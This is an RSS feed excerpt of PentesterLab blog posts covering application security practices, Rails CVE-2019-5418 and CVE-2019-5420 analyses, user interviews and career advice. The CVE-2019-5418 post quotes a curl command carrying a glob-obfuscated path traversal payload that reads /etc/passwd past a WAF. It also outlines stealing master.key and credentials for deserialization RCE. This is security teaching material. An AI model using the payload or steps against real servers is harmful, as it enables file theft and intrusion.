              <li>They go through their usual tests using a proxy like ZAP or Burp</li>
              <li>Once they are done, they just click scan.</li>
              <li>They can then either look at the results or forward them to you.</li>
            </ul>
            <p>You can imagine writing a very simple Burp extension to get those results directly to you or to an application that will do the triage for you.</p>
            <p>The more time you will invest in teaching “hacking 101”, the more return on investment you will get. Even if you only really need to teach detection, it’s always a good thing to add a bit of exploitation to spice things up.</p>
            <h5 class="fw-bold mt-4">Just invest in QA!</h5>
            <p>If you check how much time it takes for a fix to go from git to your production environment, you will get an idea of the bottlenecks (security may be one). If this process takes too long (think a few days), you most likely have a QA issue: <b>people are afraid to make changes.</b></p>
            <p>The time you measured is the minimum time it will take to get a fix to production (unless it’s an emergency fix). If dev[ops] teams are afraid of changes, a lot of bad things happen:</p>
            <ul>
              <li>They don’t update libraries.</li>
              <li>They don’t update the underlying OS.</li>
              <li>They move to micro-services only to avoid making the changes they are afraid of.</li>
              <li>…</li>
            </ul>
            <p class="mb-0">This is why as a security team, it can be worth investing in QA just for the sake of making deployment faster. If your dev[ops] teams are afraid of making changes, they will be afraid of fixing even the simplest bug. <b>Making changes should be easy, predictable and boring.</b> And to make changes easy, predictable and boring, you need good coverage. That’s why you should invest in QA.</p>
            <h4 class="ms-md-5 my-5 fw-normal">I hope this short article gave you some idea on how investing in QA can improve the security of your application and allow your security team to scale.</h4>
            </div>

]]>
      </description>
      <pubDate>Fri, 16 Aug 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/invest-in-qa</link>
      <guid>https://pentesterlab.com/blog/invest-in-qa</guid>
    </item>
    <item>
      <title>Building Blocks</title>
      <description>
        <![CDATA[           <div>
              <p>Since it’s something I’m really passionate about, I have decided to spend more time writing about application security at scale.</p> 
              <p>Today I’m going to cover one of the things that can help an application security team save a lot of time: <b>Building Blocks.</b></p>
              <div class="d-flex justify-content-center my-5">
                <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                  <circle cx="3" cy="3" r="3" fill="#686868"/>
                  <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                  <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
                </svg>
              </div>
              <p>In many organisations, multiple development teams will often need to perform the same thing (especially with µ-services):</p>
              <ul>
                <li>Authentication layer</li>
                <li>Authorisation</li>
                <li>Rendering</li>
                <li>Sending information in a queue</li>
                <li>Save files in s3/GCP/…</li>
                <li>…</li>
              </ul>
              <p>The problem is that every team is likely to come up with their own solution using their own languages/framework/… and the cost for the security team (and the development teams) increases with each solution. The application security team find itself reviewing the same type of code again and again. Often, the same mistakes are made and the same recommendations always follow:</p>
              <ul>
                <li>More input filtering.</li>
                <li>Better block mode for encryption.</li>
                <li>Better default value.</li>
              </ul>
              <p>The trend of Resume-Driven Development making this even worst.</p>
              <p>To avoid repeating the same reviews (which can be pretty boring too), an application security team can work <b>with other teams</b> (dev, ops, devops,<b>compliance…</b>) to build <b>“Building Blocks”</b> that can be reused by everyone.</p>
              <p>These “Building Blocks” will be thoroughly reviewed by the security team and consider “secure”. They can then be provided as libraries to all the development teams.</p>
              <p>Creating these blocks will help teams scale up as and the security team won’t have to review the same code again and again. It will also lower the consulting effort (read: meetings), as you won’t have to provide each team with Best Practice for X, you can just tell them to use the “Building Block X” that already include all the best practices, has been reviewed and is supported by all the other teams (including the ops team that on call).</p>
              <h5 class="fw-bold mt-6 mb-3">Building the blocks</h5>
              <p>The blocks don’t have to be complex, they also don’t have to (shouldn’t) be created by the security team. They can just be open source components reviewed by the security team and packaged in a secure way (think smart default). The security can also finance the development of these blocks: the security team uses its budget to pay for the development of a block (or part of it).</p>
              <p>To make things easier, the building blocks should be versioned. This will allow all teams to quickly know what applications are using old blocks.</p>
              <h5 class="fw-bold mt-6 mb-3">Promoting</h5>
              <p>One of the ways to promote the building blocks is first to <b>not build them in isolation</b>. You need to get everyone involved: architects, developers, QA teams, Ops. To ensure a broad adoption, these blocks should benefit every team:</p>
              <ul>
                <li>They should follow the architects’ visions.</li>
                <li>They should be easy to develop with (and elegant) for developers.</li>
                <li>They should be easy to test for the QA team.</li>
                <li>They should be easy to debug for Ops.</li>
              </ul>
              <p>The security team should also communicate why these blocks are so valuable for them: it is their way of scaling. If other teams don’t want to use the blocks, they should have a good reason and they should understand that <b>the security review of their software will take more time and may not be prioritised.</b></p>
              <h5 class="fw-bold mt-6 mb-3">Examples of blocks</h5>
              <p>Blocks don’t have to be complex and don’t have to be big. You can find below some examples of blocks:</p>
              <ul>
                <li>Encryption at Rest</li>
                <li>Encryption with an HSM</li>
                <li>Using Queues (encryption of information transmitted, TLS for connection to the queue)</li>
                <li>Database access</li>
              </ul>
              <p>You can also see these “Building Blocks” as a way to make sure the security team is involved in everything that will shape the future of development in the organisation:</p>
              <ul>
                <li>New micro-service patterns</li>
                <li>New language or framework adoption</li>
                <li>New technology (MQ, GraphQL, Serverless) or pattern.</li>
              </ul>
              <h5 class="fw-bold mt-6 mb-3">Adding a layer to the blocks</h5>
              <p>A final thing that could be beneficial is to add another layer to a block to make sure the interface stays constant even if the library underneath changes. This thin layer can also be used for additional/unified logging as well as error-proofing the block.</p>
              <h5 class="fw-bold mt-6 mb-3">Deep dive in a block</h5>
              <p>Let’s say we want to create an authentication block for our default µ-service template. The financing of the block can be split between development teams (creating the template) and the security team (smart default, error proofing…). We want this block to use JWT (sic.).</p>
              <p>The first version of the block can just be a packaging of the most commonly used library (by the organisation) used for JWT in the language picked. The first version gets reviewed by the security team and can be used by everyone. This version only allows developers to use the secure functions/methods available for this library (think verify() vs decode()).</p>
              <p>The second version adds to the thin layer on top of the JWT library. For example, it will enforce the strength of the secret used to sign the token (to avoid offline <a href="https://pentesterlab.com/exercises/jwt-v">brute force attacks</a>) and enforce the algorithm (to avoid <a href="https://pentesterlab.com/exercises/jwt-algorithm-confusion">confusion attack</a>). It also adds some extra-logging that goes directly to the security team: for example when a signature is invalid.</p>
              <p>Since the security and ops teams pushed really hard to deploy <a href="https://www.vaultproject.io/">Vault by HashiCorp</a>, all the secrets are now centralised in Vault and decrypted at runtime by the library. All of this without creating any changes for the development teams. The versioning is also allowing the security and ops team to know who is not using Vault yet</p>
              <h5 class="fw-bold mt-6 mb-3">Conclusion</h5>
              <p>I hope this quick blog post convince you of the importance of using blocks if you want to scale the impact of your security team. Finally, building these blocks will also help to create relationships between teams. These relationships are often critical to solve complex problems and during incidents. Thanks for reading!</p>
            </div>

            

            

]]>
      </description>
      <pubDate>Wed, 19 Jun 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/building-blocks</link>
      <guid>https://pentesterlab.com/blog/building-blocks</guid>
    </item>
    <item>
      <title>CVE-2019–5418: on WAF bypass and caching</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-5 mt-4">If you follow <a href="https://twitter.com/PentesterLab">PentesterLab</a> on Twitter, you probably saw the following tweet:</p> 
              <div class="d-flex justify-content-center">
                <blockquote class="twitter-tweet"><p lang="en" dir="ltr">Want to bypass WAF when exploiting CVE-2019-5418 ? curl -H &#39;Accept: ../../../../../../e*c/p*s*d{{&#39; http://server/...</p>&mdash; PentesterLab (@PentesterLab) <a href="https://twitter.com/PentesterLab/status/1111398659306876929?ref_src=twsrc%5Etfw">March 28, 2019</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
              </div>
              <p class="mt-5">You may also have come across the following blog linked as part of the “worth-reading” articles for last week: <a href="https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/">https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/</a></p>
              <h4 class="ms-md-5 my-5 fw-normal"><i>This article is really interesting but stops exactly when things get interesting…</i></h4>
              <p>How does Rails go from:</p>
              <script src="https://gist.github.com/snyff/22dac0394862677e0ac127562b811f13.js"></script>
              <p>to:</p>
              <script src="https://gist.github.com/snyff/b191a72b52ba02d83c406b414dc18773.js"></script>
              <p class="mt-5">When reading the code involved in the template resolver, you will come across the following code:</p>
              <script src="https://gist.github.com/snyff/187072e1ce7611a05a00b29d46553f97.js"></script>
              <p class="mt-4">This code is <b>both genius and crazy</b>… and I won’t be surprised if it brings more vulnerabilities in the future…</p>
              <p>The resolver uses the Ruby method <b>Dir</b> that relies on a glob. So you can provide a glob and use characters like *, ? … A good way to bypass any filter on <b>/etc/passwd:</b></p>
              <script src="https://gist.github.com/snyff/18fe4c5ce719376d6ee26c01611dcb25.js"></script>

              <h5 class="fw-bold my-4">Now, the important part, the thing only a few people are talking about:</h5>

              <script src="https://gist.github.com/snyff/aa3b28b0a3d2846263835041fb2244bf.js"></script>
              <p>In <b>production</b> mode, Rails aggressively caches views and you basically need to wait for a restart of the server if you want to get another file. You may get lucky and:</p>
              <ul>
                <li>The server may be redeployed daily.</li>
                <li>The application is load-balanced and you can hit a different server.</li>
                <li>You use the DOS (CVE-2019–5419) that got published at the same time <b>(!stealthy)</b></li>
              </ul>
              <p>The real issue is the most likely way to get remote command execution with this bug is to:</p>
              <ol>
                <li>have the application running with the :marshal serialiser.</li>
                <li>get the file <b>config/credentials.yml.enc</b> for the list of encrypted credentials</li>
                <li>get the file </b>config/master.key</b> to be able to decrypt <b>config/credentials.yml.enc</b></li>
                <li>forge your own session with the <a href="https://www.elttam.com.au/blog/ruby-deserialization/">RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN</a> from <a href="https://twitter.com/bitcoinctf">@bitcoinctf</a></li>
              </ol>
              <p>Since you need to download <b>two</b> files (step 2 and 3) you will need to wait for the cache to get cleared…</p>
              <p>Basically, most people trying to get this payload to work, only do it in <b>development</b> mode and are up for a surprise when attacking real applications!</p>
              <p><b>After a bit more work with <a href="https://twitter.com/bitcoinctf">@bitcoinctf</a>, it’s possible to use a race condition (if you are the first one exploiting the issue) to get multiple files served at the exact same time (but you only have one shot):</b></p>
              <script src="https://gist.github.com/snyff/04c3463845480632a1fe192308c31439.js"></script>
          </div>

            

]]>
      </description>
      <pubDate>Thu, 04 Apr 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/cve-2019-5418-on-waf-bypass-and-caching</link>
      <guid>https://pentesterlab.com/blog/cve-2019-5418-on-waf-bypass-and-caching</guid>
    </item>
    <item>
      <title>CVE-2019–5420 and defence-in-depth</title>
      <description>
        <![CDATA[           <div>
            <p>In this short article, I’m going to discuss a little bit on the exploitability of <a href="https://rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released">CVE-2019–5420.</a></p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <p>Ruby-on-Rails offers three different environments it can run in: development, test and production. You should obviously not have code running in development or test available on the internet but it (as always) happens (for example in staging environments).</p>
            <p>Ruby-on-Rails uses “signed-sessions” to allow people to easily scale their applications. Over time, the way the sessions were handled changed. With 5.2.2, sessions are JSON encoded data that is protected using AES GCM (aes-256-gcm) by default.</p>
            <p>CVE-2019–5420 is actually very simple. The key used to encrypt sessions can be guessed (or brute forced) in development mode as it is based on the name of the application. This issue can potentially be used to gain code execution (RCE) according to the advisory.</p>
            <p>However, over the years the security of Rails has kept improving and sessions don’t use <b>marshal</b> like they used to. With JSON, you can no longer get code execution as there is currently no known way to get from JSON to code execution (as opposed to going from <a href="https://www.elttam.com.au/blog/ruby-deserialization/">marshal to code execution</a>). That’s why defence-in-depth is so important, always be more than one bug away from a disaster!</p>
            <h4 class="ms-md-5 my-5 fw-normal">Always be more than one bug away from a disaster!</h4>
            <p>But, you can still forge a valid session since you have the key to decrypt/encrypt the sessions…</p>
            <p>Or can you?? Another thing that greatly improves the security of Ruby-on-Rails applications is its ecosystem. Most people writing Rails applications use the same gem/library to manage authentication: <a href="https://github.com/plataformatec/devise#">devise.</a></p>
            <p>If we look at the methods used to serialize/deserialize a user/record into a session, we can see a field named <b>salt</b>:</p>
            <script src="https://gist.github.com/snyff/367986a4fa9025585b0a5ca58711f7d1.js"></script>
            <p>And we can see the salt is also verified as part of the deserialization of the session. In short, you need both the user ID as well as the matching salt to become that user.</p>
            <p>By looking at what the salt actually is:</p>
            <script src="https://gist.github.com/snyff/f14938ddadffd99d59b3006d5f2d8f9b.js"></script>
            <p>You can easily see that you’re hopefully going to have a hard time guessing that value for another user (the password being“encrypted”/hashed using <a href="https://en.wikipedia.org/wiki/Bcrypt">bcrypt</a>). It also doesn’t really make sense to tamper with the session if you managed to find the password. Again, a very simple safeguard greatly limits the impact of this bug!</p>
            <p><a href="https://pentesterlab.com/exercises/cve-2019-5420">The exploitation of this issue with a non-devise session management is available for PentesterLab PRO subscribers. The exploitation of this issue to get RCE using marshal is also available as PRO exercises in PentesterLab.</a></p>

          </div>

            

]]>
      </description>
      <pubDate>Tue, 19 Mar 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/cve-2019-5420-and-defence-in-depth</link>
      <guid>https://pentesterlab.com/blog/cve-2019-5420-and-defence-in-depth</guid>
    </item>
    <item>
      <title>Interview with a PRO user: Pamela O’Shea</title>
      <description>
        <![CDATA[           <div>
            <p><b>Tell me a bit more about yourself? Current occupation? Aspirations? Twitter?</b></p>
            <p>I run my own security business called Shea Information Security and I’m <a href="https://x.com/pamoshea" target="_blank">@pamoshea</a> on twitter. <a target="_blank" href="https://sheasecurity.com.au/">We are a security consulting company based out of Melbourne, doing penetration testing and security consulting for our clients.</a></p>
            <p>My aspirations are to see more women working in technical security roles. To help progress this I spend a lot of time running haXX (<a href="https://twitter.com/haxx_group">@haxx_group</a>), which is a learning group providing free technical security classes for women who wish to break into the technical security field. If you want to learn tech, you just have to type enough kilometres on the keyboard!</p>
            <p class="mt-4"><b>How did you get into computing/security?</b></p>
            <p>I was super lucky as a kid, my father worked at Wang Laboratories and had a side business of building computers from scratch. From a young age of about 11, I was helping my father make custom desktop builds for his business. We were putting in RAM, CPUs, hard disks and cabling it all up in little assembly lines with my siblings, and then testing they booted into an OS like Windows 3.1 or DOS. So I guess I started on the hardware side. Living in the country in the middle of nowhere it was hard to find tech people but I really really wanted to learn how to code. A typical Irish story but my father met a farmer in the local pub whose son was an embedded C programmer, so I got a list of topics to study from him, bought C by example and I was hooked from there. Once I found IRC in the mid 90s I discovered the security channels and was hanging out with lots of interesting people, installed Linux from a CD-ROM in a book and started playing wargames online. Once I read TCP/IP Illustrated volume 1, I was hooked on security too and instead of doing homework I was learning as much about the Internet as possible.</p>
            <div class="d-flex justify-content-center my-5">
              <figure>
                <img src="/newdesign/imgs/blog-imgs/haxx-group.webp" alt="haxx group logo">
                <figcaption style="opacity:50%;text-align: center">haXX group</figcaption>
              </figure>
            </div>
            <p class="mt-4"><b>What is your current setup? Computer? OS? …?</b></p>
            <p>I like using Ubuntu because I do some software defined radio (SDR) related research (<i>Pamela co-organises the <a href="https://www.meetup.com/en-AU/Cyberspectrum-Melbourne/">Melbourne’s SRD meetup</a> <a href="https://twitter.com/sdr_melbourne">@sdr_melbourne</a></i>), a lot of these radio packages just work out of the box from the apt repos now. I use Dynamic Window Manager (DWM) for my window manager and VIM for editing (I used to be an EMACS user — that’s another story!).</p>
            <p class="mt-4"><b>How do you use PTL PRO?</b></p>
            <p>At work we use PentesterLab PRO internally to keep up to date but also recommend it to our clients.</p>
            <p>I also lecture on the masters in cyber security programme at RMIT University and run free penetration testing classes for women (@haxx_group).</p>
            <p>I love PentesterLab for classroom exercises as its progressive style fits very well for hands on exercises. After classes, students are then ready to move onto Pentesterlab PRO.</p>
            <p>For learning as well as teaching, we cannot recommend PentesterLab more highly. We see developers who try it for the first time and love it, getting hooked on the sense of achievement working through the challenges and being able to work more closely with their security teams as a result.</p>
            <p class="mt-4"><b>What have been your favourite exercises so far?</b></p>
            <p>I had fun doing the JWT exercises, especially with abusing the “kid” field. The serialisation exercises are excellent and I love seeing challenges related to new technology pop up too, for example GraphQL.</p>
            <p class="mt-4"><b>What exercises did you find the most challenging?</b></p>
            <p>The CTF ones! These are super handy because I enjoy dabbling in CTFs when I have time at weekends and coffee can only do so much :P</p>
            <p class="mt-4"><b>What exercises/areas do you think PentesterLab should cover in the future?</b></p>
            <p>Some editor and parsing issues. For example, editor bugs where you see weird syntax being used and ways to achieve execution from this or bypassing their filters.</p>
            <p>Parsing issues such as intermediate devices like virus scanners, cache servers etc.</p>
            <p>Also, more authentication issues like OAuth implementations and SAML.</p>
            <p>To be honest, there is so much on PentesterLab PRO already, it will keep you entertained and challenged for a very very long time!</p> 
          </div>

            

]]>
      </description>
      <pubDate>Tue, 05 Feb 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/interview-with-a-pro-user-pamela-oshea</link>
      <guid>https://pentesterlab.com/blog/interview-with-a-pro-user-pamela-oshea</guid>
    </item>
    <item>
      <title>Should I go to university?</title>
      <description>
        <![CDATA[           <div>
            <p>One of the questions I often get asked is whether or not I recommend going to university/engineering school/… or to get an entry level job and start hacking.</p>
            <p>A lot of people think that formal education isn’t necessary anymore as you can learn everything online or when you need it. And in a lot of countries (USA, Australia,…), higher education comes at a very high cost.</p>
            <h4 class="ms-md-5 my-5 fw-normal">TLDR: my advice is to do it if you need it and can afford it.</h4>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <p>I think it mainly comes down to two questions:</p>
            <ul>
              <li>Do you need it?</li>
              <li>Can you afford it?</li>
            </ul>
            <h5 class="fw-bold mb-2">Disclaimer</h5>
            <p>When reading this article, keep in mind two things: I studied in France (very cheap and high-quality education around 15 years ago) so your experience may differ…</p>
            <h5 class="fw-bold mb-2">Do you need it?</h5>
            <p>Not everyone learns in the same way. Some people are really good at learning on their own and don’t need a lot of hand-holding. Others may have more difficulty or just need the “soft-pressure” of being accountable. If you find that you can learn on your own, or even that you have difficulty fitting within the traditional education system, self-learning, and an entry job may be a better option for you.</p>
            <p>However, don’t underestimate what you get from going to university. You will learn things that you may not have or not want to learn that could be very beneficial in the future (soft skills, other disciplines…). You will also meet a lot of like-minded people (I know of someone who used to say that formal education was a waste of time but created his first startup with people he met at university ironically). If you’re the kind of person that makes a lot of friends at hacker conventions/meetup, you may not care as much but it’s definitely something to keep in mind.</p>
            <p>You may get lucky and meet people at school who will change how you learn or even what you want to do in life. It can be a very inspirational teacher that get you passionate about a subject or just few people who study with you. When I applied to the engineering school I went to, I wanted to work on Open Source Embedded Systems. One year in, I knew security was my thing!</p>
            <h4 class="ms-md-5 my-5 fw-normal">Long story short, there is more to school than the hours you spend in class!</h4>
            <p>You also need to keep in mind that for some jobs (big companies, government…) having a degree makes things easier. Furthermore, it may help you with immigration if you want to move to another country in the future.</p>
            <h5 class="fw-bold mb-2">Can you afford it?</h5>
            <p>In some countries, studying will get you into a huge amount of debts. You should hopefully land a sweet-paying InfoSec job but it may take a while and debt is never something to take lightly (you should look at hacking your personal finance as well as computers). If you are lucky to live in a country with an affordable education system (or if you have a way to pay for your education without getting into huge debt), you should probably take that chance. Otherwise, make sure you understand how much it’s going to cost you (financially and time-wise) and see how this cost will impact you in the long run.</p>
            <h5 class="fw-bold mb-2">Final notes</h5>
            <p>Unless the university you want to study at has an awesome (as in taught or recommended by industry professionals) curriculum, you may want to avoid a degree in information security. Look at degrees in computer sciences, statistics, advanced mathematics, cryptography… something actually hard to learn on your own. You can learn about information security in your spare time (if you are very passionate). And having a broader knowledge will help you become a better security professional. While you are at university, spend time doing bug bounty, follow the work of known security researchers and write some code.</p>
            <p>Finally, this is your decision. Don’t let people pressure you into one way or another. Make sure you don’t pick the easiest solution just because you are lazy, you may get disappointed in the future. Finally, if you cannot afford to go to university, there are plenty of ways to get in the industry too, we will cover this in another blog posts.</p>
            <h5 class="fw-bold mb-2">Further readings:</h5>
            <ul>
              <li>Happy Hacking: <a href="http://phrack.org/issues/68/7.html">http://phrack.org/issues/68/7.html</a></li>
              <li>Career advice from Moxie Marlinspike: <a href="https://moxie.org/2013/01/07/career-advice.html">https://moxie.org/2013/01/07/career-advice.html</a></li>
            </ul>
          </div>

            

]]>
      </description>
      <pubDate>Wed, 26 Dec 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/should-i-go-to-university</link>
      <guid>https://pentesterlab.com/blog/should-i-go-to-university</guid>
    </item>
    <item>
      <title>Interview with a PRO user — Borja Berastegui</title>
      <description>
        <![CDATA[           <div>
            <p class="mt-4"><b>Tell me a bit more about yourself? Current occupation? Aspirations?</b></p>
            <p>I’ve been playing with computers for a while now, until I discovered how fun it was to break them. I’ve working as a penetration tester / security engineer for about 6 years now, and I started learning security as most of people in our field before the boom of the cybersecurity world, by self-learning.</p>
            <p>I remember that before platforms like PentesterLab appeared, people had to look for a vulnerable target outside on the internet and try whatever they wanted to try on it. Also, most of the times, you would learn that whatever you tried worked, but some of the concepts around the vulnerability being exploited weren’t learned properly. PentesterLab addresses this perfectly, it allows you to exploit, understand and learn about the technologies and vulnerabilities that may be affecting them.</p>
            <p class="mt-4"><b>How did you come across PentesterLab PRO?</b></p>
            <p>I tried PentesterLab personally, and I found it was a great way of properly understanding why the vulnerabilities are introduced in the code and or the systems. This is why I’ve been recommending everyone I know to give it a try, and if your company has technical people that can take advantage of this, why not getting it?</p>
            <p class="mt-4"><b>What have been your favourite exercises so far?</b></p>
            <p>The Cipher block chaining one. My weakest point has always been cryptography, and this exercise, the explanation and the exploitation allowed me to understand what CBC misuse may imply in a real system.</p>
            <p class="mt-4"><b>Do you do bug bounty? and if yes, did PentesterLab help you</b></p>
            <p>Yeah, I’ve been spending quite some time in bug bounties, with a little bit of luck in programmes like Uber or Github. I plan to get ideas from PentesterLab that will allow me to try some more creative ways of exploiting systems and applications that I saw in the past and haven’t been able to exploit.</p>
            <p class="mt-4"><b>What exercises/areas do you think PentesterLab should cover in the future?</b></p>
            <p>There are other services that give you OSCP-like environments, so I would say that some other material such as good coding practices, hardening of well-known frameworks, etc. Something more focused on developers or people not completely dedicated to security.</p>
            <p class="mt-4"><b>Where can people follow your progress?</b></p>
            <p>I have a Twitter account at <a href="https://twitter.com/BBerastegui">@BBerastegui</a> and maybe on LinkedIn too: <a href="https://www.linkedin.com/in/bberastegui/">https://www.linkedin.com/in/bberastegui/</a></p>
          </div>

            

]]>
      </description>
      <pubDate>Wed, 19 Sep 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/interview-with-a-pro-user-borja-berastegui</link>
      <guid>https://pentesterlab.com/blog/interview-with-a-pro-user-borja-berastegui</guid>
    </item>
    <item>
      <title>Interview with a PRO user — Robert Kluger</title>
      <description>
        <![CDATA[           <div>
            <p class="mt-4"><b>Tell me a bit more about yourself? Current occupation? Aspirations? Twitter?</b></p>
            <p>I’m Robert Kugler (<a href="https://twitter.com/robertchrk">@robertchrk</a>), a 22 year-old penetration tester & technical project manager at <a href="https://cobalt.io/">Cobalt</a>. I started learning web & application security at the age of 14, two years later I got my first CVE issued for a vulnerability in Firefox.</p>
            <p class="mt-4"><b>How did you come across PentesterLab PRO?</b></p>
            <p>Cobalt introduced me to <a href="https://pentesterlab.com/pro">PentesterLab PRO</a> and I had a lot of fun going through some of the exercises.</p>
            <p class="mt-4"><b>What have been your favourite exercises so far?</b></p>
            <p>I really liked the <a href="https://pentesterlab.com/badges/serialize">serialize badge</a> and especially the <a href="https://pentesterlab.com/exercises/api-to-shell">API to shell challenge</a> was a lot of fun. Every penetration tester should be familiar with serialization vulnerabilities and this makes it one of the most important badges to earn.</p>
            <div class="d-flex justify-content-center my-5">
              <figure>
                <img src="/newdesign/imgs/blog-imgs/cobolt-logo.webp" alt="cobolt logo">
                <figcaption style="opacity:50%;text-align: center; margin-top:16px;">Cobalt.io</figcaption>
              </figure>
            </div>
            <p class="mt-4"><b>Can you tell me more about Cobalt and how PentesterLab helps you training your new researchers?</b></p>
            <p>At Cobalt, we have built a best in class Pen Testing as a Service (PTSaaS) platform which provides on-demand pen testing by connecting you to top security researchers around the world. <b>Our researchers get access to PentesterLab to make sure they’ve access to one of the best information security education services. Working in information security requires a constant drive to learn otherwise you won’t be able to stay ahead of the game that’s why we’re using PentesterLab!</b></p>
          </div>

            

]]>
      </description>
      <pubDate>Thu, 26 Jul 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/interview-with-a-pro-user-robert-kluger</link>
      <guid>https://pentesterlab.com/blog/interview-with-a-pro-user-robert-kluger</guid>
    </item>
    <item>
      <title>Interview with a PRO user — WONG Wai Tuck</title>
      <description>
        <![CDATA[           <div>
            <p class="mt-4"><b>Tell me a bit more about yourself? Current occupation? Aspirations?</b></p>
            <p>I started using PentesterLab at around 2014. At that point of time, I was a complete newbie to the security scene — I knew nothing about what XSS was, or SQL Injection, or any of the typical techniques a security person ought to know. It was then I started doing the Web for Pentester series (back when they were just offered as .iso files) and was hooked on to the exercises; the challenges were well paced and I really found myself learning a lot, stumbling a lot, but then getting back up and eventually solving a lot. What I really appreciated was that it was free — so even as a student, I had access to these materials that proved invaluable to my development as a security professional. I would say PentesterLab has been an integral part of my journey in security, and so I am more than happy to recommend you guys to anyone who’s new out there!</p>
            <div class="d-flex justify-content-center my-5">
              <figure>
                <img src="/newdesign/imgs/blog-imgs/smu-logo.webp" alt="smu logo">
                <figcaption style="opacity:50%;text-align: center; margin-top:16px;">SMU School of Information Systems</figcaption>
              </figure>
            </div>
            <p>Today, I am a <a href="https://sis.smu.edu.sg/bsc-information-systems/learning/options/fast-track/Cmu">fast track student of the School of Information Systems at Singapore Management University</a>, and will be pursuing my Masters in Information Security at Carnegie Mellon University. PentesterLab was invaluable in my roles when I was an intern at a consultancy (in their cyber security advisory department) and as a security researcher in a government agency in Singapore. I am also currently OSCP/OSCE certified. Because of what PentesterLab did for the community, I was inspired to do my own part — I organised a bunch of CTFs in Singapore, one for high school students (WhiteHacks@SG) and another for university students (CrossCTF 2017). I have also managed to contribute back to the tools I am using (I was a Nmap contributor last summer).</p>
            <p class="mt-4"><b>How did you come across PentesterLab PRO?</b></p>
            <p>I was <b>very fortunate that my alma mater had the foresight to enrol for several slots in <a href="https://pentesterlab.com/pro">PentesterLab PRO</a></b>. I took advantage of the opportunity (having done some of the labs previously) and was surprised to see the content available. What really struck me was the quality of the content and how real world the exploits were — these were real CVEs — and from experience it takes a long time to set up systems like this to play with, so I really appreciated the resource! Furthermore, each exercise came with a guide so if you got lost you could just follow the guide to get back on track.</p>
            <p class="mt-4"><b>What have been your favourite exercises so far?</b></p>
            <p>I particularly liked the Man-in-the-Middle exercises in PentesterLab PRO, which is something I have never played before and I was pleasantly surprised that an exploit like this can be done and taught over the cloud!</p>
            <p class="mt-4"><b>Do you do bug bounty? and if yes, did PentesterLab help you?</b></p>
            <p>I currently don’t do bug bounty due to other time commitments, but with PentesterLab I am definitely confident to start!</p>
            <p class="mt-4"><b>What exercises/areas do you think PentesterLab should cover in the future?</b></p>
            <p>I would really love it if PentesterLab covered more on enterprise network penetration testing — practicing how to pivot across different networks and learning more about how to exploit the Active Directory environment in Windows Servers!</p>
            <p class="mt-4"><b>Where can people follow your progress?</b></p>
            <p>You can find me on Twitter — <a href="https://twitter.com/waituckk">@waituckk</a></p>
          </div>

            

]]>
      </description>
      <pubDate>Mon, 09 Jul 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/interview-with-a-pro-user-wong-wai-tuck</link>
      <guid>https://pentesterlab.com/blog/interview-with-a-pro-user-wong-wai-tuck</guid>
    </item>
    <item>
      <title>NullCon HackIM 2018 web4 — The fast way?</title>
      <description>
        <![CDATA[           <div>
            <p>The HackIM 2018/NullCon CTF just wrapped up. PentesterLab wrote 3 challenges for this CTF:</p>
            <ul>
              <li>“JWT V” (web4) worth 200 points</li>
              <li>“JWT VI” worth 400 points</li>
              <li>“CBC-MAC” worth 200 points</li>
            </ul>
            <p>Few people complained about JWT V being too hard. More specifically there was too much guessing involved. This was a big surprised as this challenge seems pretty easy. And I also hate challenges with a lot of guessing, so I avoid creating them. Unfortunately, I only got to speak to few people at the end as I was travelling. Fortunately, this was enough for me to realise where the main problem lies: few people had a very slow feedback loop when trying to brute force</p>
            <p><i><b>Disclaimer:</b> The goal of this write-up is only to highlight the different ways to solve this specific challenge. A lot of people playing CTF are doing it to learn and it’s completely normal to struggle when trying to solve challenges. I thought this specific example was really interesting (especially since everything could be done without writing any code) and that’s why I decided to write about it.</i></p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="fw-bold mt-6 mb-3">The challenge</h5>
            <p>This challenge was inspired by the hacker movie <a href="http://www.imdb.com/title/tt0105435/">Sneakers</a>.</p>
            <p>The index page of the challenge looked like this:</p>
            <div class="d-flex justify-content-center my-5">
              <figure>
                <img src="/newdesign/imgs/blog-imgs/homepage-of-the-challenge.webp"  width="100%" alt="homepage of the challenge">
